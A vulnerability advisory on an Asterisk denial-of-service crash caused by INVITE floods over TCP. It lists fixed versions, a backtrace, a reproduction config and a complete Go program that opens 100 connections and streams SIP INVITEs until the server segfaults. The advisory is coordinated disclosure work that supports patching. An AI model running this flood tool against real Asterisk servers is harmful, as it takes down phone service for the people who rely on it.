# Asterisk crash due to INVITE flood over TCP

- Fixed versions: 13.37.1, 16.14.1, 17.8.1, 18.0.1
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2020-02-asterisk-tcp-invite-crash
- Asterisk Security Advisory: https://downloads.asterisk.org/pub/security/AST-2020-001.html
- Tested vulnerable versions: 17.5.1, 17.6.0
- Timeline:
    - Report date: 2020-08-31
  - Triaged: 2020-09-01
  - Fix provided for testing: 2020-10-29
  - Asterisk release with fix: 2020-11-05
  - Enable Security advisory: 2020-11-06

## Description

When an Asterisk instance is flooded with INVITE messages over TCP, it was observed that after some time Asterisk crashes due to a segmentation fault. The backtrace generated after the crash is:

```
3276        PJ_ASSERT_RETURN((cseq=(pjsip_cseq_hdr*)pjsip_msg_find_hdr(tdata->msg, PJSIP_H_CSEQ, NULL))!=NULL
(gdb) bt
#0  0x00007ffff7df1b80 in pjsip_inv_send_msg (inv=0x7fffc88aa5a8, tdata=0x7fffa706a6d8) at ../src/pjsip-ua/sip_inv.c:3276
#1  0x00007ffff4623c41 in ast_sip_session_send_response (session=0x7fffc88ab9f0, tdata=0x7fffa706a6d8) at res_pjsip_session.c:1917
#2  0x00007ffff4627b6b in new_invite (invite=0x7fff94eccb60) at res_pjsip_session.c:3253
#3  0x00007ffff462815b in handle_new_invite_request (rdata=0x7fffa61ec608) at res_pjsip_session.c:3382
#4  0x00007ffff462833d in session_on_rx_request (rdata=0x7fffa61ec608) at res_pjsip_session.c:3446
#5  0x00007ffff7e190ec in pjsip_endpt_process_rx_data (endpt=0x5555559c9d18, rdata=0x7fffa61ec608, p=0x7ffff47c66a0 <param>, p_handled=0x7fff94eccc6c) at ../src/pjsip/sip_endpoint.c:930
#6  0x00007ffff47922a1 in distribute (data=0x7fffa61ec608) at res_pjsip/pjsip_distributor.c:955
#7  0x000055555574c7e1 in ast_taskprocessor_execute (tps=0x555555bb5a80) at taskprocessor.c:1237
#8  0x0000555555756dc7 in execute_tasks (data=0x555555bb5a80) at threadpool.c:1354
#9  0x000055555574c7e1 in ast_taskprocessor_execute (tps=0x5555559c8040) at taskprocessor.c:1237
#10 0x0000555555754698 in threadpool_execute (pool=0x5555559c6070) at threadpool.c:367
#11 0x000055555575655d in worker_active (worker=0x7fff98003e50) at threadpool.c:1137
#12 0x00005555557562bb in worker_start (arg=0x7fff98003e50) at threadpool.c:1056
#13 0x00005555557604ad in dummy_start (data=0x7fffa41fb6e0) at utils.c:1249
#14 0x00007ffff764e609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#15 0x00007ffff728b103 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
```

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when SIP over TCP is in use.

## How to reproduce the issue

The following `pjsip.conf` configuration file was used to facilitate the reproduction of this issue:

```
[global]
debug=yes

[transport-tcp]
type = transport
protocol = tcp
bind = 0.0.0.0

[anonymous]
type = endpoint
context = anon
allow = all
```

The following code in Go can be used to reproduce this issue:

```go
package main

import (
  "bytes"
  "flag"
  "fmt"
  "math/rand"
  "net"
  "strconv"
  "strings"
  "time"
)

const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

func init() {
  rand.Seed(time.Now().UnixNano())
}

func randstr(length int) string {
  b := make([]byte, length)
  for i := range b {
    b[i] = charset[rand.Intn(len(charset))]
  }
  return string(b)
}

type loop struct {
  host   string
  port   int
  conn   net.Conn
  invite []byte
  cseq   int
}

func (l *loop) start() {
  sdp := "v=0\r\n"
  sdp += "o=- 1598350717 1598350717 IN IP4 192.168.1.112\r\n"
  sdp += "s=-\r\n"
  sdp += "c=IN IP4 192.168.1.112\r\n"
  sdp += "t=0 0\r\n"
  sdp += "m=audio 9999 RTP/AVP 0\r\n"
  sdp += "a=rtpmap:0 PCMU/8000/1\r\n"
  sdp += "a=sendrecv\r\n"

  invite := "INVITE sip:5cb49ced@127.0.0.1:5060 SIP/2.0\r\n"
  invite += "Via: SIP/2.0/UDP 192.168.1.112:44896;rport;branch=z9hG4bK-_BRANCH_\r\n"
  invite += "Max-Forwards: 70\r\n"
  invite += "From: <sip:5cb49ced@127.0.0.1:5060>;tag=2k309f\r\n"
  invite += "To: <sip:5cb49ced@127.0.0.1:5060>\r\n"
  invite += "Call-ID: 2345908ux\r\n"
  invite += "CSeq: _CSEQ_ INVITE\r\n"
  invite += "Contact: <sip:5cb49ced@192.168.1.112:44896;transport=udp>\r\n"
  invite += fmt.Sprintf("Content-Length: %d\r\n", len(sdp))
  invite += "Content-Type: application/sdp\r\n"
  invite += "\r\n"
  invite += sdp

  l.invite = []byte(invite)

  var err error
  l.conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", l.host, l.port), 5*time.Second)
  if err != nil {
    fmt.Println(err.Error())
    time.Sleep(10 * time.Millisecond)
    go l.start()
    return
  }

  if l.conn != nil {
    l.run()
  } else {
    time.Sleep(10 * time.Millisecond)
    go l.start()
  }
}

func (l *loop) run() {
  if err := l.conn.SetWriteDeadline(time.Now().Add(10 * time.Millisecond)); err != nil {
    if strings.Contains(err.Error(), "use of closed network connection") {
      l.start()
    }

  }

  var err error
  for {
    l.cseq++
    inv := l.invite
    inv = bytes.ReplaceAll(inv, []byte("_BRANCH_"), []byte(randstr(8)))
    inv = bytes.ReplaceAll(inv, []byte("_CSEQ_"), []byte(strconv.Itoa(l.cseq)))

    if _, err = l.conn.Write(inv); err != nil {
      go l.start()
      return
    }
  }
}

func main() {
  var port = flag.Int("p", 5060, "Port")
  var host = flag.String("h", "127.0.0.1", "Host")
  flag.Parse()

  for i := 0; i < 100; i++ {
    go func() {
      l := loop{
        host: *host,
        port: *port,
      }
      l.start()
    }()
  }
  select {}
}
```

## Solution and recommendations

Apply the patch provided by Asterisk or upgrade to a fixed version.

Enable Security would like to thank Kevin Harwell, Joshua C. Colp and the staff at Asterisk for the very quick response and fixing this security issue.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.